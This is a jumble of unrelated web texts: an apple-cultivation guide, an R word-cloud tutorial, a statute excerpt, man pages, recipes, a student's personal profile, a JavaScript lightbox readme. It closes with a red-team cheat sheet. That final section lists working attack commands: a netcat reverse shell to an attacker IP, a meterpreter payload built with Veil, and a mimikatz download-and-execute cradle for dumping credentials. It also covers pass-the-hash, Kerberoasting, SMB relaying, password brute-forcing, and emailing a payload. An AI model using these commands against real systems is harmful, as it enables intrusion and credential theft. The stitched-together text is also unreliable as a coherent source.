How To Grow Apple Crop
Introduction
An apple is an edible fruit produced by an apple tree (Malus domestica). Apple trees are cultivated worldwide and are the most widely grown species in the genus Malus. The tree originated in Central Asia, where its wild ancestor, Malus sieversii, is still found today. Apples have been grown for thousands of years in Asia and Europe and were brought to North America by European colonists. Apples have religious and mythological significance in many cultures, including Norse, Greek, and European Christian tradition.
Soil and climate conditions
Climatic conditions –
The apple is a temperate fruit crop. However, in India the apple growing areas do not fall in temperate zone but the prevailing temperate climate of the region is due to the Himalayan ranges and high altitudes. The average summer temperature should be around 21-24oC during active growth period. Apple succeeds best in regions where the trees experience uninterrupted rest in winter and abundant sunshine for good colour development. It can be grown at an altitude of 1500- 2700 m above the sea level. Well-distributed rainfall of 1000-1250 mm throughout the growing season is most favourable for optimum growth and fruitfulness of apple trees.
Soil conditions –
Apples grow best on well-drained, loam soils having a depth of about 45 cm and a pH level of pH 5.5-6.5. Soils with heavy clay soil or compact subsoil are to be avoided. Soils must be well-drained. Wet soils lead to poor aeration and increased incidence of crown rot in Apple trees. Normally, rooting tends to be shallow, and wet soils will restrict development, resulting in the poor anchorage of the tree and a reduced area of soil from which nutrients can be extracted. Minimum rooting depth of 4 to 5 feet is desirable. (Trees on shallow soils will be affected by drought and by root injury during extended severe cold spells.) Soil pH level and fertility can be adjusted and are not major considerations; highly fertile soils can cause excessive tree vigor and are not desirable.
Propogation –
GraftingApples are propagated by several methods viz.; whip, tongue, cleft and roots grafting. Tongue and cleft grafting at 10-15 cm above the collar during February-March gives the best results. Usually grafting is done at the end of winter.
BuddingApples are mostly propagated by shield budding, which gives a high percentage of success. In shield budding a single bud along with a shield piece of stem is cut along with the scion and inserted beneath the rind of the rootstock through a 'T' shaped incision during active growth period. Budding is done when the buds are fully formed during summer. The optimum time of budding is September in Kashmir Valley, Kumaon hills of Uttaranchal, high hills of Himachal Pradesh and June in mid hills of Himachal Pradesh.
RootstocksMost of the apple plants are grafted or budded on seedling of wild crab apple. The seedling rootstocks obtained from the seeds of diploid cultivars like Golden Delicious, Yellow Newton, Wealthy, Macintosh and Granny Smith also can be used. High density planting is done using dwarfing rootstocks (M9, M4, M7 and M106).
Fertilizer
Manures and Fertilizers in Apple Cultivation: Farmyard manure @ 10 kg./ year age of tree is applied along with other fertilizers. The fertilizer dose depends upon the fertility of soil and amount of organic manure applied to the crop. Generally, application of 350 g N, 175 g P2O5 and 350 g K2O per plant per year in split doses is recommended for fully-grown bearing trees. On some trees deficiency of zinc, boron, manganese and calcium may be observed which is corrected with the application of appropriate chemicals through foliage spray.
Irrigation
Apple trees are particularly sensitive to low soil moisture. Water stress during the growing season reduces number and size of fruits, and increases June drop. Success of apple largely depends on uniform distribution of rain during the year in case of dry spells during the critical periods supplementary irrigation should be provided. Water stress conditions results in poor fruit set, heavy fruit drop, low production and poor quality. The most critical periods of water requirement are April- August and peak water requirement is after fruit set. Normally the orchards are irrigated immediately after manuring in the month of December-January. During the summer periods, the crop is irrigated at an interval of 7-10 days. After the fruit setting stage the crop is irrigated at weekly intervals. Application of water during the fortnight preceding harvest markedly improves the fruit colour. Thereafter till the onset of dormancy, irrigation is given at an interval of 3-4 weeks.
Diseases occurred in crop:
| Name of Disease | Caused by | Symptoms | Management |
|---|---|---|---|
| Apple scab | Fungus | Yellow or chlorotic spots on leaves; dark olive green spots on leaves and fruit; may be a velvety growth on spots on undersides of leaves; twisting of leaves; distorted leaves; severely infected leaves turn yellow and drop from tree. | Remove all leaves dropped from tree in the fall and compost to prevent any diseases surviving in debris; application of zinc and fertilizer grade urea in the Fall may be necessary to speed leaf drop, lime should then be added to fallen leaves; fungicide application may be necessary in areas where leaves remain wet for periods in excess of 9 hours; fungicides such as copper soaps and Bordeaux mixture should be applied if there is a chance of wet period as soon as leaf tips emerge. |
| Black rot | Fungus | Purple flecks or circular lesions which are brown in the centre and purple at margin; red flecks, purple lesions and/or brown black rings on fruit | Remove dead wood, mummified fruit and cankers from trees to reduce spread of disease; burn any prunings that have been made from the tree; disease can be controlled by applying fungicides from silver tip to harvest. |
| Cedar apple rust | Fungus | Bright orange or yellow patches on top side of leaves surrounded by a red band and small black spots in the center; by mid-summer, cup-like structures called aecia form on the leaf undersides; these become covered in tubular structures from which spores are released | Plant resistant varieties where possible; remove nearby red cedar; if growing susceptible varieties in proximity to red cedar follow a fungicide program. |
| Fire blight | Bacterium | Plant appears as if it has been scorched by fire; watery exudate may be present on infected areas. | Cut out diseased wood; treat with Bordeaux mixture or approved fixed copper materials for organic production; streptomycin or copper application to blossoms may be necessary to prevent spread. |
| Apple maggot | Insect | Misshapen, pitted and sunken areas on fruit surface; browning and rotting of apple flesh. | Use red spherical sticky traps to trap adults, place one trap for every 100 apple fruits; bag apples by tying or stapling polythene bags around fruit to prevent adults laying eggs - cut corners from bags to ensure air supply to fruit; spray fruit with insecticide prior to eggs being laid. |
Apple Harvest and Yielding
Harvest
Apples come to harvest from midsummer through late fall season; fruit ripens 100 to 200 days after fruit set depending on the tree variety. The best method to know if Apples are ready for harvest is to taste them; select one and try it. Also, consider fruit skin color and fruit drop. The Apple fruits mature within 130-150 days after the full bloom stage depending upon the variety grown. The color of the skin at maturity ranges from yellow-red depending on the tree variety. However, the optimum time of Apple harvest depends on fruit quality and the intended period of storage.
Yielding
The present crop yield of traditional Apple is only 20 metric tons per hectare, while the high-density Apple breed yields about 40 to 60 metric tons of Apples per hectare.


Thanks to Dan Blumberg (ASU) for providing these images ...
The following images are from work in progress by Dan Blumberg (ASU), Ronald Greely (ASU), Steve Wall (JPL), Nick Lancaster (DRI), Haim Tsoar (Israel), Jim Iversen (Iowa State U.), Bruce White (UC Davis), Keld Rasmussen (Denmark), and Tony Dobrovolskis (NASA/Ames).
Our study focuses on the use of SAR to study windblown processes including sand and dust storms. We are using SAR to estimate the aerodynamic properties of a surface -- this is an important parameter in climate modeling, the threshold windspeed for sand and dust transport and other boundary layer models. For further information contact Dan Blumberg at : dan.blumberg@asu.edu


--- title: Using tidytext to make word clouds author: Rich summary: How to make a word cloud in R. In this example, I use the research prospectus I just submitted in preparation for my qualifying examination. date: '2017-12-29 02:57:45+00:00' slug: word-cloud header: caption: '' image: '' image: caption: "" projects: "" --- {{% alert %}} I've since turned this code into a simple [Shiny app that makes word clouds out of .txt files](https://richpauloo.shinyapps.io/word_cloud_app). {{% /alert %}}
I recently came across the tidytext
R package, and the accompanying book, Text Mining in R by David Robinson and Julia Silge. I found it very practical for basic text mining and NLP problems spanning tf, idf, tf-idf, word vectorization, cosine similarity, sentiment analysis, and topic modeling.
There are a pleathora of out-of-the-box functions and data that help with common natural language processing (NLP) tasks, like:
After playing around a bit with examples, I thought it would be interesting to see what the 38 page research prospectus I spent months slaving over boiled down to in terms of term frequency.
I first saved my .docx file as a .txt in UTF-8 encoding because it’s easier for R to read. The result is a very messy table, which I won’t print here.
library(dplyr) # for data wrangling
library(tidytext) # for NLP
library(stringr) # to deal with strings
library(wordcloud) # to render wordclouds
library(knitr) # for tables
library(tidyr)
# the local file path to my research prospectus
path <- '~/Github/rp/static/data/rp.txt'
# fill = TRUE b/c rows are of unequal length
dat <- read.table(path, header = FALSE, fill = TRUE)
Since the package we’re using adheres to tidy data principles, step 1 is to get this messy table into a one column data frame, with one word in each row.
# reshape the .txt data frame into one column
tidy_dat <- tidyr::gather(dat, key, word) %>% select(word)
tidy_dat$word %>% length() # there are 10,480 tokens in my document
## [1] 10480
unique(tidy_dat$word) %>% length() # and of these, 2,866 are unique
## [1] 2866
The next step is to tokenize, or boil the dataframe down down to only unique observations, and count the number of each observation. To perform this, we use unnest_tokens()
, which takes 3 arguments:
Then we use the count()
function from dplyr
to group by words and tally observations. Becauase count()
performs a group_by()
on the word column, we ungroup()
.
# tokenize
tokens <- tidy_dat %>%
unnest_tokens(word, word) %>%
count(word, sort = TRUE) %>%
ungroup()
Just because a token is common doesn’t mean it’s important. For instance, take a look at the most 10 common tokens in my research prospectus.
tokens %>% head(10)
## # A tibble: 10 x 2
## word n
## <chr> <int>
## 1 the 487
## 2 and 368
## 3 of 344
## 4 in 235
## 5 to 235
## 6 groundwater 193
## 7 water 138
## 8 a 137
## 9 is 112
## 10 for 92
Of the 10, only 2 actually tell us something about what’s written about: groundwater, and water. Cleaning natural language is like panning for gold: most of language is useless, but every once in a while we find a gold nugget. We want to get only the nuggets.
{{% figure src="/img/gold.jpg" title="This is you tokenizing." %}}tidytext
has some built-in libraries of stop words. We’ll use an anti_join()
to get rid of stop words anc clean our tokens.
# remove stop words
data("stop_words")
tokens_clean <- tokens %>%
anti_join(stop_words)
## Joining, by = "word"
While we’re at it, we’ll use a regex to clean all numbers.
# remove numbers
nums <- tokens_clean %>% filter(str_detect(word, "^[0-9]")) %>% select(word) %>% unique()
tokens_clean <- tokens_clean %>%
anti_join(nums, by = "word")
I also did a quick pass over tokens_clean
to look for other meaningless tokens that escaped the stop-word dictionary and the numbers. It’s not surprising that the tokens that made it by were:
I’ll store these unique stop words in a vector and perform another anti_join
, et voila. A tidy, clean list of tokens and counts.
# remove unique stop words that snuck in there
uni_sw <- data.frame(word = c("al","figure","i.e", "l3"))
tokens_clean <- tokens_clean %>%
anti_join(uni_sw, by = "word")
## Warning: Column `word` joining character vector and factor, coercing into
## character vector
And just like that, an easy word cloud. In fact, this code was so simple and fun that I wrapped it into a Shiny App.
# define a nice color palette
pal <- brewer.pal(8,"Dark2")
# plot the 50 most common words
tokens_clean %>%
with(wordcloud(word, n, random.order = FALSE, max.words = 50, colors=pal))
{{% figure src="/img/YES.gif" %}}


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[§659-8] Service. The writ or order shall be served in the same manner as is provided by the rules of court with respect to process in a civil action. [L 1876, c 39, §43; RL 1925, §2723; RL 1935, §4265; RL 1945, §10286; RL 1955, §236-26; HRS §659-53; am L 1972, c 90, §3(h); ren HRS §659-8]


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Auto-Post WebChat Full Page
Note: Use this if you are unable to open a new window. It will behave exactly as you would expect an "a" link to work. It will replace the contents of your current browser window with the chat window.

AutoPost Popup
Note: Use this option if you are able to open a new window from your website and specify the size. This is the preferred option as the user will see a new char window overlayed on top of your webpage. Your page MUST be the one that opens and sizes the new window. This is a basic restriction of how browsers work. The webchat window cannot size your new window for you since it did not create that window. That security is baked into every browser.


--- layout: page title: Projects date: type: page published: false status: draft categories: [] tags: [] meta: _wp_page_template: default _publicize_pending: '1' dsq_thread_id: '1393148453' _edit_last: '1' author: login: adminian email<EMAIL_ADDRESS>display_name: adminian first_name: '' last_name: '' ---


{% extends 'base.html' %} {% block app_content %}
TCSS506 Capstone project.
We collect and analyze the best data available on cases, deaths, tests, hospitalizations, and vaccines.
Cases and deaths data from JHU CSSE;
Testing and vaccine data from JHU CCI;
County testing data from JHU CCI;
Racial breakdown data from COVID Tracking Project Racial Data Tracker;
and hospitalization data from the U.S. Department of Health and Human Services.


sdptool(1) sdptool(1) NAME sdptool — control and interrogate SDP servers SYNOPSIS sdptool [options] {command} [command parameters ...] DESCRIPTION sdptool provides the interface for performing SDP queries on Bluetooth devices, and administering a local sdpd. COMMANDS The following commands are available. In all cases bdaddr specifies the device to search or browse. If local is used for bdaddr, then the local sdpd is searched. Services are identified and manipulated with a 4-byte record_handle (NOT the service name). To find a service's record_handle, look for the "Ser‐ vice RecHandle" line in the search or browse results search [--bdaddr bdaddr] [--tree] [--raw] [--xml] service_name Search for services.. Known service names are DID, SP, DUN, LAN, FAX, OPUSH, FTP, HS, HF, HFAG, SAP, NAP, GN, PANU, HCRP, HID, CIP, A2SRC, A2SNK, AVRCT, AVRTG, UDIUE, UDITE and SYNCML. browse [--tree] [--raw] [--xml] [bdaddr] Browse all available services on the device specified by a Bluetooth address as a parameter. records [--tree] [--raw] [--xml] bdaddr Retrieve all possible service records. add [ --handle=N --channel=N ] Add a service to the local sdpd. You can specify a handle for this record using the --handle option. You can specify a channel to add the service on using the --channel option. del record_handle Remove a service from the local sdpd. get [--tree] [--raw] [--xml] [--bdaddr bdaddr] record_handle Retrieve a service from the local sdpd. setattr record_handle attrib_id attrib_value Set or add an attribute to an SDP record. setseq record_handle attrib_id attrib_values Set or add an attribute sequence to an SDP record. OPTIONS --help Displays help on using sdptool. EXAMPLES sdptool browse 00:80:98:24:15:6D sdptool browse local sdptool add DUN sdptool del 0x10000 BUGS Documentation needs improving. AUTHOR Maxim Krasnyansky<EMAIL_ADDRESS>Man page written by Edd Dumbill<EMAIL_ADDRESS>SEE ALSO sdpd(8) sdptool(1)


org.apache.spark.storage
Classes
BlockId
BlockManagerId
BlockStatus
BlockUpdatedInfo
BroadcastBlockId
BufferReleasingInputStream
MemoryEntry
RDDBlockId
RDDInfo
ShuffleBlockId
ShuffleDataBlockId
ShuffleIndexBlockId
StorageLevel
StorageStatus
StorageStatusListener
StreamBlockId
TaskResultBlockId
TimeTrackingOutputStream
Exceptions
BlockNotFoundException


The Biggest Greenie is a social game with the goal of home owners understanding and decreasing their home's electricity use. Understanding and conserving is a major step towards 100% renewable energy.
The game idea came from our own experience and desire to engage our community. The first thing we did was figure out how much energy our house is using. Then we used an Energy Monitor to figure out what appliances were gobbling up energy. Next, we changed how we used energy with little to no effect to our lifestyle - while at the same time moving to using an electric car.
We're excited to share the results:
In January 2017, we used 1151 KWh of Energy. In January 2018 we used 631 KWh. This is a -45% change. That's including our switch to an electric car.
Wow! What if all of us were wasting around 45% of our energy use on things like second refrigerators we didn't even know we had plugged in? At least we'll know why our energy use surges during summer months when we run a bunch of pumps to power our jacuzzi....
This is our attempt to get involved in a community that sees the need to move off of fossil fuels and pragmatically get to 100% renewable energy.
Step 1 - knowledge and conservation.
Please contact us if you want to get involved.


Main Menu
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Student Athlete Resources:
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Four-Year Plan
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Getting Recruited
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Letter of Interest
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Student Athlete Résumé
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Making Highlight Tapes
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Questions to Ask
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Sample Thank-You Note
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NCAA Amateurism Bylaws


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Why don't Austinites recycle more? The answer might be simple
2015 top restaurants
West Virginia 38, Texas 20 final recap
This year, the East Austin Studio Tour extends its boundaries south
UT officials: All 88 students in France reported safe after attacks
Top Workplaces 2015


My name is Urbashi Agrawalla
Date of Birth: 11/10/1999
From Angul,Odisha,IN
Nationality: Indian
Schooling:
Matriculation: O.P JINDAL,Angul,Odisha
Higher Secondary: New look Senior Secondary,Kota,Rajasthan
I am currently pursuing a Bachelor of Technology Degree
in Computer Science and Engineering in
College of Engineering and Technology, Bhubaneshwar.
I want to be a full-time developer and contribute to the field. I have knowledege on HTML, CSS, Bootstrap, C.
Contact me:
Email id: urvashi.agrawalla123@gmail.com


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Cajun Recipes
Original image from The woks of life
Jambalaya
- 4 whole bay leaves
- 1 teaspoon salt
- 1 teaspoon white pepper
- 1 teaspoon dry mustard
- 1 teaspoon ground red pepper
- 1 teaspoon gumbo file
- 1/2 teaspoon ground cumin
- 1/2 teaspoon black pepper
- 4 tablespoons margarine
- 6 ounces ham
- 6 ounces andouille
- 1 1/2 cup chopped onions
- 1 1/2 cup chopped celery
- 1 cup green bell pepper
- 1 1/2 teaspoon minced garlic
- 2 cups uncooked rice
- 4 cups chicken stock
Original image from Joy the Baker
Red Beans and Rice
- 1/2 pound dry kidney beans
- water to cover the beans
- 3 pounds small ham hocks
- 1 1/4 cup finely chopped celery
- 1 cup finely chopped onion
- 1 cup finely chopped green bell perpper
- 3 bay leaves
- 1 1/2 teaspoon tabasco sauce
- 1 teaspoon white pepper
- 1 teaspoon dried thyme leaves
- 3/4 teaspoon garlic powder
- 3/4 teaspoondried oregano leaves
- 1/2 teaspoon ground red pepper
- 1/4 teaspoon black pepper


Welcome to Brython
This page shows how to get a value inside an input field and show it in a popup window
Edit it and start developing in Python in the browser !
click !


Creating Windows Installers With the WiX Toolset, Part 02
Part 2 – An Overview Of Windows Installer and its Features
Part 3 – Tooling Options for Building Installers
Part 4 – The Windows Installer Runtime Sequence
Part 5 – The Contents of an MSI
Part 6 – The Structure of a WiX File
Part 7 – Generating an MSI Package From Your WiX
Part 8 – Troubleshooting Installer Runtime Problems
Part 9 - Summary
Windows Installer is Actually A Feature
Something many Windows users are unaware of is that there is actually a feature in Windows called “Windows Installer”. You won’t find it listed in Programs and Features in the Control Panel, but its included in the same way as a feature almost all Windows users have encountered (and cursed) called Windows Update. You can see a release history and the default version shipped with the various Windows operating systems here.
Basic Features
Windows Installer has a number of features that make it attractive to use. The foremost is transactional operations: if an error occurs while installing (or uninstalling) your software, Windows Installer is able to rollback all of the changes made so far and revert the computer back to its state before the operation began. This means the system will never be left in a half installed state.
Also highly useful is the capability to add Start menu, quick launch, and Desktop shortcuts for the users to easily start your software.
Another feature is the ability to do repairs. Imagine a user is trying to free up disk space on their hard drive and unwittingly deletes some of your application files. Windows Installer provides a mechanism that allows an installed program to be repaired, where any missing files are replaced.
Windows Installer also has a number of capabilities to control file sprawl and minimize disk usage. With plummeting storage costs these capabilities aren’t as important as they once were, but if your application is very large then they’re still useful. Windows Installer can track versions of your application and perform in place upgrades and patches so a user doesn’t have to completely install the entire application (which could take a long time if the application has a lot of physical files). On demand install allows features of an application to appear available, but they aren’t actually installed on the machine until used, saving disk space.
Custom Actions
One very compelling ability is custom actions. Custom actions can be written in C++, C#, and others and invoked in the middle of your install. This allows you to add any sort of capability you need to have during the middle of the install process. There are several caveats to go along with this power however. First, make sure you’re not baking in some sort of setup that will need to be run outside the installer as a normal maintenance operation. Second, sometimes what you’re trying to accomplish might not be worth the effort to make a custom action when it can be done in normal application code. I’m not saying to never use custom actions, but just be careful not to turn them into a golden hammer to drive in everything, including screws.
Other Advanced Features
There are a plethora of other features aimed at big enterprises that are worth a passing mention. Administrative install allows a network admin to ”install” onto on a network share location, and then users can install the application from that network share. This allows the admin to ensure that users get the application installed in a consistent manner, reducing maintenance time. Windows Installer can also be used to perform unattended installs so that an application can be pushed and installed in an automatic fashion, saving IT staff from having to make the rounds of hundreds or thousands of desks.
In Summary
You can see a fairly comprehensive list of the features here. You’re probably not going to avail yourself to all of the more advanced functionality, but many of the simpler benefits (transactional operations, shortcuts, custom actions, and repairs) are a big win for a local Windows client application.


---
layout: post
title: Helpful Hints
date: '2014-02-03T12:33:00.000-08:00'
author: thatvirtualboy
tags:
- workspace
modified_time: '2017-08-03T10:14:46.874-07:00'
blogger_id: tag:blogger.com,1999:blog-733606464149134140.post-2240330909894402297
blogger_orig_url: https://www.thatvirtualboy.com/2014/02/helpful-hints.html
redirect_from: /2014/02/helpful-hints.html
---
Having issues getting multiple DNS servers configured for your Horizon Workspace implementation? Curious how you might configure a proxy setting without having to modify SUSE Linux config files using vi?
Dale Carter, an EUC Consulting Architect at VMware has posted a nice little write up answering these and other questions over at the VMware blog.
Dale covers using YaST, a built-in system configuration tool unique to SUSE Linux. This tool makes it incredibly easy to configure a proxy, firewall, disk operations, etc. In case you're wondering, YaST stands for Yet another System Tool.
I want to read that!


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Pac Man Factory
HOW TO USE:
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Add more PacMan if you like
Save your Quarters & have Fun!
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City Girls’ Yung Miami Names The G.O.A.T: “Best Rapper Dead Or Alive!”
by Team SOHHCity Girls’ Yung Miami has big respect for the Snowman. The hip-hop star has stepped forward to call Jeezy the best rapper – ever.
Last night, Miami hit up Instagram to salute the Atlanta rap artist’s legacy.
A few days ago, Miami and JT released their new must-hear “You Tried It” single.
Earlier this month, Miami shared new pics of herself hanging out alongside JT.
In mid-October, Yung went online to reveal the first glimpses of her mini-me.


--- language: EN title: AI Art Revolution description: Register for the revolutionizing exhibition of AI-generated and robot-made paintings scripts: --- {% include head.html %}
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Make sure to be first to see and hear how Art will be changed forever.
Subscribe to the private mailing to receive the news on the coming exhibition.
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If you have any questions, feedback, or problems with iBox, please check out the resources for our forums and official website. We ask that if you like iBox, to mention it on your blog or website, and help us spread the word. A link back to Enthropia Inc, Enthropia Labs, or the iBox homepage is also greatly appreciated.
Using iBox is very simple. You need to include two lines at the top of your page:
Note: If you are using the Wordpress plug-in it automatically includes the following lines in your header.

Make sure the paths for these are correct before continuing.
Now that you have the files needed, you simply can tag rel="ibox"
on to an
tag that you want iBox to take over. See below for several examples.
iBox includes several configuration options you may want to change to suit your needs. The recommended way of changing these is to create a new javascript file, or include the javascript code in your header, after the lines to initialize iBox. See the example:

'Close'
false
450
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There are several arguments available on your iBox controls. These are specified in the rel="ibox"
line. Any of the argument values may be wrapped in quotations (single or double, depending your use of the rel tag) to stop the & (&) from evaluating.
rel="ibox&width=350"
rel="ibox&height=100%"
rel="ibox&fullscreen=true"
href
attribute).
rel="ibox&target=my-js-document.html"
rel="ibox&target='index.php?page=&my-js-document'"
target="_blank"
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rel="ibox&ignore_target=true"
iBox also supports some arguments via standard anchor attributes.
title="Popup Title"
iBox by default supports several document types, but is extensible via plugins that will allow you to match content based on the URL. Below are the default plugins.
iBox also lets you manually open boxes. This can be done with iBox.showURL('my_url');
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iBox easily supports the standard overlay of images, in many sizes, and will automatically scale down the window if the browser's viewpane is too small.

iBox supports overlaying documents as well as the standard images. This is achieved in the same fashion as an image, but instead of showing the image, it shows the document you are linking to.
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It is a hidden div!

If you were to view source, you would find a div called 'inner_content'. This is that div. We have used CSS to set its display property to none, but using iBox, you can clearly see it as an overlay. Hurrah!

It is even styled. Oh so pretty it is

 #inner_content

iBox is built on it's plug-in handling. All document types that it handles by default are actually built as plugins. The default plug-in if nothing matches is the Document handler.
Creating your own plugins is simple, and requires very little JavaScript knowledge. The first thing you'll want to do is create a file to hold your plugins. This file must be loaded after ibox.js is loaded. After you've got a workspace available, let's go ahead and create the plug-in.
You will need to decide on a name, that doesn't conflict with any existing plug-in names. Default Plugin's are stored in a special namespace so you won't have to worry about that.
var iBoxPlugin_YouTube = function() {}
Now, you need to write your plug-in's match function, which is where we check the URL against something else in order to verify if this plug-in should be used. This function is called match
and one argument, the url
.
var _private = { youtube_url: /(?:http:\/\/)?(?:www\d*\.)?youtube\.com\/(?:v\/|(?:watch(?:\.php)?)?\?(?:.+&)?v=)([^&]+).*/ } var _public = { match: function(url) { return url.match(_private.youtube_url); }, }
Once our matching works, we need to add the rendering code. This functions is called render
and has two arguments: url
, and params
.
render: function(url, params) { id = url.match(_private.youtube_url)[1]; params.width = 425; var html = '<object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/' + id + '"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/' + id + '" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object>'; iBox.html(html, params); }
Now that you've got your rendering and matching, all that's left is to register, via iBox.plugins.register(function)
. Below is the full example including the registration code.
var iBoxPlugin_YouTube = function() { var _private = { youtube_url: /(?:http:\/\/)?(?:www\d*\.)?youtube\.com\/(?:v\/|(?:watch(?:\.php)?)?\?(?:.+&)?v=)([^&]+).*/ } var _public = { match: function(url) { return url.match(_private.youtube_url); }, render: function(url, params) { id = url.match(_private.youtube_url)[1]; params.width = 425; var html = '<object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/' + id + '"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/' + id + '" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object>'; iBox.html(html, params); } } return _public; }(); iBox.plugins.register(iBoxPlugin_YouTube);
There is now an unload
function available on plugins. This is called when the plug-in is unloaded.
One of the common variables you'll see passed around is our params
object. This contains all of the currently active options and parameters. These are set initially, but may be overwritten inside of your plug-in. Below are some common parameters.
''
true
iBox.fade_in_speed
option set to 0.
true
iBox.default_width
null
iBox allows you to bind to certain events, just as you would to normal events in your document, using the iBox.addEvent(object, event_name, callback)
method. This method can also be used to bind to general events in your document. iBox currently consists of a few events on the object itself:
Similar to the code in the example above, we have added support for YouTube links as a default plug-in.
My YouTube Video
Customizing the display for iBox has become extremely easy. To show you how easy it is, we've included a lightbox skin. To use it you simply need to include ibox.js
, and then include lightbox.css
. You will notice that the skin you see in the readme is not the default. This is another example, called darkbox, created specifically for this readme file.
 This can be done with iBox.showURL('my_url');
or iBox.show('html');
as well as iBox.show(htmlNode);
.
We have not forgotten about users who disable JavaScript. iBox supports a target
option in it's links which specify's the target document or image you wish to load, and doesn't have to be the same as the href
attribute.
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--- title: Linux category: Operating System order: 1 ---
This section contains blogs for linux operating system


## Mako can find this base file because it's in the settings.py -> MAKO_TEMPLATES_DIRS list <%inherit file="managerBase.htm" /> <%block name="title">
Pressing Confirm will create a new store with a unique ID. Are you sure?
Are you sure?
| ID | Name | Location | Actions |
|---|---|---|---|
| ${ s.id } | ${ s.name } | ${ s.location } | Confirm Order |


About Us
We are a team of passionate individuals, combining deep expertises in machine learning, computer vision and quality management. At McDefect Solutions, we strive to deliver our Quality Intelligence Solution to manufacturers around the world.
Learn about how we got started, stuff that we have developed and our vision for the future of intelligent quality control.
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Deep-fried memes are believed to have originated around 2015. They were characterized as comical overfiltered images of pop culture icons like various disney characters and Spongebob Squarepants. The idea is that, as popular images and memes spread across social media sites, the images get repeatedly compressed, and their quality degrades. The process of deep-frying is essentially a parody of this phenomenon by over exaggerating the constant degradation of the images to the point where they are barely recognizable. As they evolved, emojis were added as a sort of irony to further poke fun at social media culture. The result is a new subculture of memes where the images are on the border of abstract. Some examples:
The full demo can be found Here


Hello from home.html
{%if user.is_authenticated%}
LOGGED IN with username = {{user.username}}
Log Out
{%else%}
You are not logged in
Signup
Login
{%endif%}
{% for journey_id,train_id,train_name,rem_ac_seats,rem_sleeper_seats,journey_date,source_station,dest_station in trains %}
Journey id : {{journey_id}} Train name : {{train_name}} AC Seats : {{rem_ac_seats}} Sleeper Seats : {{rem_sleeper_seats}} {{journey_date}} {{source_station}} {{dest_station}}
{% endfor %}


Network Reconnaissance
NMAP
Ping Sweep
nmap -n -sn <x.x.x.x/xx or x.x.x.x-xxx> -oG - | awk '/Up$/{print $2}'
Take this ping sweep over to a targeted scan. You can replace the “–top-ports” with “-p-“ or a list of desired ports.
nmap --top-ports -sC -sV -oA nmap/targeted --script vuln "ipaddress from port scan"
Deeper Scanning
Run an Nmap scan for all tcp ports
nmap -p- --min-rate=1000 -T4 "ip address here" > output_nmap.txt
This information can be cleaned up a little with this.
cat output_nmap.txt | grep ^[0-9] | cat output_nmap.txt | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//
My Favorite Nmap Scan
This scan implies that you have a “nmap” directory where the scan is ran from.
nmap -sC -sV -oA nmap/init "ip address"
Nessus
Start Nessus
service nessusd start
Browse to the https://”nessus host”:8834
- Username: root
- Password: toor Create a new Advanced Scan
- Turn off ping
- Enable generic web application tests.
SimplyEmail
theHarvester
Web Application Reconnaissance
Vega
Open Vega by selecting the icon from the sidebar or menu in Kali.
Acunetix
Burp Suite
Nessus
Nikto
nikto -h "ip address"
Nmap Scripting Engine
Payload Generation
Cobalt Strike
MSFvenom
Veil Framework
start Veil Framework navigate to the /Veil Framwork directory.
./Veil.py
If you have the ability to select between “Evasion and Ordnance” use Evasion. Run the “list” command to show Available Tools. Use the ‘python/meterpreter/rev_tcp.py’ option from the list. Example below
use 28
The check the Required Options.
options
Set the lhost ip address. Now you can Generate the payload.
Listeners
Cobalt Strike
Metasploit
netcat
Set up listening connection on port 4444
nc -nlvp 4444
Connect to remote machine on port 4444
nc -nv <IP_ADDRESS> 4444
nc -nv "attackerIP" 4444 -e /bin/bash
Setup listening connection and redirect incoming input into an exe
nc -nlvp 4444 > incoming.exe
Email Client
Cobalt Strike
SendEmail
sendEmail -o tls=no -t<EMAIL_ADDRESS>-f<EMAIL_ADDRESS>-s
123.123.123.?:25 -u foo -a payload.py -m Click Me
Enumeration
PowerSploit
Visual Inspection
Aquatone
EyeWitness
Directory Bruce-Force
DirBuster
Gobuster
Password Attacks
hashcat
Hydra
Hint: Passwords formatted Season + year + punctuation are popular password options (in the case of this exercise, assume the year is 2018). Example:
hydra -L domain_users.txt -P pwd_guesses.txt -o output.txt <IP_ADDRESS> smb.
Kerberoast
When you have a Meterpreter shell on a target, you may be able to use the Kerberoast method to obtain crack-able strings from the target.
load powershell
Then import PowerView.ps1 located in the ‘/root/Tools/PowerSploit/Recon’with the command.
powershell_import "/path/to/"PowerView.ps1
Open a PowerShell shell on the target using:
powershell_shell
So that you can run:
Invoke-Kerberoast | fl
If this method is successful, a hash or multiple hashes will be displayed in the output.
The format for the hashes is not ideal for cracking. To ensure it is formatted correctly for tools like hashcat, copy and paste the hash into a file (i.e. raw-kerberoast-hash) and run the following command:
'cat raw-kerberoast-hash | tr -d ' \r\n’ > kerberoast-hash'.
mimikatz
The Invoke-Mimikatz.ps1 script (located in ‘root/Tools/PowerSploit/Exfiltration’) can be used to dump cleartext credentials on a target. To dump credentials on your target, run the following command: ‘powershell -nop -ep bypass “IEX (New-Object Net.WebClient).DownloadString(‘http://
Responder
Machines that don’t require SMB signing are vulnerable to SMB relaying.
responder -v -I eth0
MultiRelay
Run from the “usr/share/responder/tools” directory:
./MultiRelay.py -t <IP_ADDRESS> -u “Jane Doe"
Use the Available Commands after connection for interation options.
Available commands
samdump2
If you are able to obtain SAM and System dumps (i.e. via smbclient or another method of access), a tool called samdump2 can be helpful in extracting hashes. Assuming your dumps are sam.dmp and sys.dmp, run the following command:
samdump2 -o hash.dmp sys.dmp sam.dmp
Print the hash.dmp file when the function is complete to see the output.
pth-winexe
Pass the Hash of a user and open a cmd shell.
pth-winexe -u administrator%"hash"//"target ip" cmd.exe
Exploitation/Privilege Escalation
PowerSploit
The “PowerUp.ps1” script (located in “root/Tools/Powersploit/Privesc”) can be used to automate the process of identifying Windows misconfigurations which are potential privilege escalation vectors. Additional research can be done to understand how to leverage the discovered misconfigurations, as methods may vary. ReadTeam_CheatSheet
Kerberoast
Burp Suite
Metasploit
SearchSploit
sqlmap
create file from burp with loginin POST from burp suite - This is easier when done under the target usage –batch assume defaults good for background enumeration.
sqlmap -r login.req -p id --level 5 --risk 3 --threads 10 --batch
Basic sqlmap command usage
